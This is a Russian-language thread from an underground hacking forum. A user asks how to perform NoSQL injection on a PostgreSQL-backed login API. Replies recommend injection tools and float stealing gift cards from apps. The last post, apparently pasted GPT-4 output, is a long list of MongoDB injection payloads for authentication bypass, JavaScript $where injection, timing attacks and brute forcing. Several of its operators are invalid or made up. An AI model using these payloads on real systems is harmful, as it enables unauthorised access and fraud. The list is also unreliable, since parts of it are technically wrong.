• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос NOSQL injection

TeamWin

RAID-массив
Пользователь
Регистрация
25.07.2022
Сообщения
73
Реакции
7
Гарант сделки
1
Депозит
0.001
Есть вопрос. Провожу тестирование формы логина ( входа )
Когда ввел данные и отправил запрос , он отправляется с помощью Rest Api , данные которые я ввел находятся в теле формате JSON
Само веб-приложение использует POSTGREsql , но после долгих чтений документаций и книг по пентесту API понял что Postgre также может использовать nosql формата базы данных.
Прочитал что под mongodb nosql используют инъекции с такими операторами $eq , $gt , $lt , $ne
Но так и не нашел какие операторы использует POSTGRESQL в формате базы данных nosql ( jsonb )
Подскажите кто знает как мне сделать nosql injection для базы данных POSTGRE , если отправляется запрос в формате JSON

1688837619699.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
sqlmap
p.s. к любой субд можно найти sql injection, исходники нужно анализировать
 
sqlmap
p.s. к любой субд можно найти sql injection, исходники нужно анализировать
мне конкретно нужно NOSQL injection под POSTGRE что бы сервер мог считать тело json формата с инъекции
 
Пожалуйста, обратите внимание, что пользователь заблокирован
мне конкретно нужно NOSQL injection под POSTGRE что бы сервер мог считать тело json формата с инъекции
я прост не могу понять как тебе создать человеческий фактор ошибки в коде , который тебе нужен. Она либо есть, либо нет. В чем вопрос твой темы, а автор? тебе нужно создать бэкдор или там скуля?
 
sqlmap
p.s. к любой субд можно найти sql injection, исходники нужно анализировать
Для этого больше подходит NOSQLmap но для начала нужно понять куда нужно вставлять пайлоад
 
Для этого больше подходит NOSQLmap но для начала нужно понять куда нужно вставлять пайлоад
да брал в идею его попробовать, сейчас сяду попробую
 
TeamWin я не разу не юзал NOSQL injection но вот поле твоей темы немного погуглил и понял что это обход авторизации, но почему именно авторизации когда её заюзать можно и на GIFT card тем самым поколдовать и посмотреть может гифты можно вытаскивать с приложений )
пойду сам теперь разбирать данную фичу ) только в других направлений
 
TeamWin я не разу не юзал NOSQL injection но вот поле твоей темы немного погуглил и понял что это обход авторизации, но почему именно авторизации когда её заюзать можно и на GIFT card тем самым поколдовать и посмотреть может гифты можно вытаскивать с приложений )
пойду сам теперь разбирать данную фичу ) только в других направлений
Да можем связаться, может у тебя будут идейки на этот счет, как раз запряг свою голову полностью изучением этим для достижения своей цели
 
Есть вопрос. Провожу тестирование формы логина ( входа )
Когда ввел данные и отправил запрос , он отправляется с помощью Rest Api , данные которые я ввел находятся в теле формате JSON
Само веб-приложение использует POSTGREsql , но после долгих чтений документаций и книг по пентесту API понял что Postgre также может использовать nosql формата базы данных.
Прочитал что под mongodb nosql используют инъекции с такими операторами $eq , $gt , $lt , $ne
Но так и не нашел какие операторы использует POSTGRESQL в формате базы данных nosql ( jsonb )
Подскажите кто знает как мне сделать nosql injection для базы данных POSTGRE , если отправляется запрос в формате JSON

Посмотреть вложение 60435
Если я правильно тебя понял, то о чем ты пишешь не так работает как ты ожидаешь.
postgres работает с json, да, но он с ним работает далеко не так как это делает mongo
mongo позволяет тебе формировать запросы посредством JSON, поэтому у него есть операторы о которых ты пишешь (eq, gt, lt и тд)
Эти операторы работают ТОЛЬКО в агрегациях и фильтре ( https://www.mongodb.com/docs/manual/aggregation/ ) (если проводить параллели, то это как блок WHERE в sql и функции поверх данных, типа COUNT)
Ты же хочешь применить этот функционал на Payload который сохраняется непосредственно в базу, это не будет работать ни в mongo ни в postgres, потому что база рассматривает payload просто как текст, да, она его парсит, может читать нужные данные из этого JSON, может даже индекс по нему построить, но не более.
Даже если в Payload будут операторы - они не будут работать, база будет рассматривать их как обычную структуру json которую нужно просто прочесть.
Максимум - ты можешь в json подпихнуть левые ключи типа там
Код:
"isAdmin": true
, которые в последствии могут нарушить логику работы приложения, но такое очень сложно найти в слепую, я бы склонялся к тому что такое реализуемо только при наличии исходников, чтобы сразу видеть какие ключи можно пытаться атаковать.
 
Последнее редактирование:
gpt4

Использование оператора $in:
Это может позволить обойти аутентификацию, если пароль или имя пользователя находятся в предоставленном списке.
Пример:

javascript

{"username": {"$in": ["admin", "root", "superuser"]}, "password": {"$in": ["123456", "password", "admin"]}}

Обход массивов :
Если пароли хранятся в массивах, злоумышленник может попытаться их обойти.
Пример:
{"username": "admin", "password": {"$gt": ""}}

Попытка включения JS кода:
В некоторых системах возможно внедрение JavaScript кода.
Пример:
{"$where": "function() {for(var i = 0; i < 10000; i++) {if (this.username == 'admin' && this.password == i.toString()) { return true; }}} return false;"}

Инъекция во вложенные документы:
Некоторые запросы могут содержать вложенные документы, которые также могут быть целью для инъекции.
Пример:
{"credentials": {"username": "admin", "password": {"$exists": true}}}

Использование $size:
Подсчет элементов в массиве и соответствие определенному числу.
Пример:
{"username": "admin", "password": {"$size": 6}}

Агрессивное угадывание :
Постоянные попытки со множеством комбинаций.
Пример:
{"username": {"$regex": "a.*"}, "password": {"$regex": "a.*"}}

Изучение ошибок:
Ошибки могут раскрывать информацию о структуре данных.
Пример:
{"username": {"$err": true}}

Попытка отмены остальной части запроса:
В некоторых системах можно пытаться отменить остальную часть запроса.
Пример:
{"username": "admin", "password": {"$comment": "terminate rest of the query"}}

Использование $type:
Запрос на основе типа данных.
Пример:

javascript

{"username": "admin", "password": {"$type": "string"}}

Попытка переполнения :
Использование очень длинных строк может вызвать ошибки и раскрыть уязвимости.
Пример:
{"username": "admin", "password": "A".repeat(1000000)}

Использование оператора $all:
Возврат всех документов, соответствующих массиву условий.
Пример:
{"username": {"$all": ["admin", "root"]}}

Обход фильтрации через управляющие символы :
В некоторых системах управляющие символы могут обойти фильтрацию.
Пример:
{"username": "admin\t", "password": "admin\n"}

Использование оператора $mod:
Возврат документов, у которых определенное поле имеет остаток от деления.
Пример:
{"password": {"$mod": [2, 1]}}

Обход через перечисление:
Запросы, где элементы перечислены в определенном порядке, могут дать другие результаты.
Пример:
{"$or": [{"username": "admin", "password": "password1"}, {"username": "admin", "password": "password2"}]}

Использование оператора $slice:
Возврат определенного количества элементов массива.
Пример:
{"username": "admin", "password": {"$slice": 5}}

Использование $bit:
Применение битовых операций к полю.
Пример:
{"password": {"$bit": {"and": 3}}}

Использование оператора $search:
Поиск по тексту.
Пример:
{"$text": {"$search": "admin"}}

Обход через изменение регистра :
Некоторые базы данных могут быть чувствительны к регистру.
Пример:
{"username": "AdMiN", "password": "aDmiN"}

Использование $geoWithin:
Запросы на основе географического расположения могут быть использованы для угадывания.
Пример:
{"location": {"$geoWithin": {"$centerSphere": [[88.9, 29.4], 0.75]}}}

Использование $set и $unset:
Изменение или удаление определенных полей.
Пример:
{"$set": {"password": "newPassword"}}

Изменение логики запроса :
Модификация запроса таким образом, чтобы он всегда возвращал истину.
Пример:
{"username": "admin", "password": {"$ne": ""}}

Использование $where:
Для MongoDB можно использовать JavaScript в запросе.
Пример:
{"$where": "this.username == 'admin' && this.password.startsWith('a')"}

Инъекции для обхода аутентификации:
Злоумышленник может попытаться обойти аутентификацию, используя операторы, которые всегда возвращают true.
Пример:
{"username": {"$exists": true}, "password": {"$exists": true}}

Использование регулярных выражений:
Это может помочь угадать правильный пароль или имя пользователя.
Пример:
{"username": {"$regex": "^adm"}, "password": {"$regex": "^adm"}}

Тайминг-атаки:
Пытаясь вызвать задержку в ответе, злоумышленник может узнать больше о содержимом базы данных.
Пример:
{"username": "admin", "$where": "sleep(500) || this.password == 'admin'"}

Управление объектами :
Попытка переопределить существующие поля запроса, используя передачу объектов.
Пример:
{"username": {"$gt": ""}, "password": "admin", "password[$ne]": ""}

Использование проекции:
Если запрос поддерживает проекцию, злоумышленник может попытаться получить дополнительную информацию.
Пример:
{"username": "admin", "password": "admin", "$projection": {"private_data": 1}}


Использование $not:
Если вы знаете структуру данных, вы можете использовать оператор $not для обхода определенных проверок.
Пример:
{"username": {"$not": {"$eq": "admin"}}}

Этот запрос вернет все документы, где имя пользователя не равно "admin".

Инъекция через $elemMatch:
Этот оператор позволяет выполнять более сложные запросы к вложенным массивам.
Пример:
{"data": {"$elemMatch": {"value": {"$gt": 100}}}}

Изменение сортировки:
Злоумышленник может попытаться изменить порядок документов в ответе, вмешиваясь в параметры сортировки.
Пример:
{"$orderby": {"salary": -1}}

Изменение логических операторов :
Помимо $and и $or, существуют и другие, такие как $nor.
Пример:
{"$nor": [{"role": "admin"}, {"status": "active"}]}

Обход ограничений на количество возвращаемых документов:
Злоумышленник может попытаться получить больше данных, чем разрешено.
Пример:
{"$limit": 10000}

Использование wildcards :
В некоторых NoSQL базах данных можно использовать wildcard-запросы для получения информации.
Пример:
{"name": {"$regex": "^A.*"}}

Обход фильтрации:
Если фильтрация некорректно реализована, ее можно обойти, используя различные комбинации символов.
Пример:
{"password": {"$eq": "pa$$w0rd"}}

Базовая инъекция : Если приложение не обрабатывает входные данные должным образом, злоумышленник может внедрить свои параметры для изменения логики запроса.
Пример:
{"username": "admin", "password": {"$ne": ""}}

В данном случае, использование $ne позволит обойти проверку пароля.

Инъекция JavaScript : Некоторые NoSQL базы данных, такие как MongoDB, позволяют выполнение JavaScript.
Пример:
{"$where": "function() { for(var i = 0; i < root.length; i++) { if(root.password == 'unknown') return true; } return false; }"}

Операторы $or и $and: Эти операторы позволяют комбинировать условия, что может быть использовано для обхода аутентификации.
Пример:
{"$or": [{"username": "admin"}, {"password": "fakepassword"}]}

Подавление ошибок : В некоторых случаях, можно вставить невалидные данные, чтобы вызвать ошибку и определить структуру базы данных.
Пример:
{"username": {"$gt": ""}}

Версия и инфо: Злоумышленник может пытаться получить версию и другую информацию о базе данных.
Пример:
{"username": {"$regex": ".*", "$options": "i"}}

Тайминг-атака: Путем введения задержек в выполнении запросов, злоумышленник может определить наличие определенных записей в базе данных.
Пример:
{"$where": "sleep(5000) || true"}

Брутфорс : Используя инъекции, можно создать запросы для перебора возможных значений.
Пример:
{"password": {"$in": ["pass1", "pass2", "pass3"]}}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх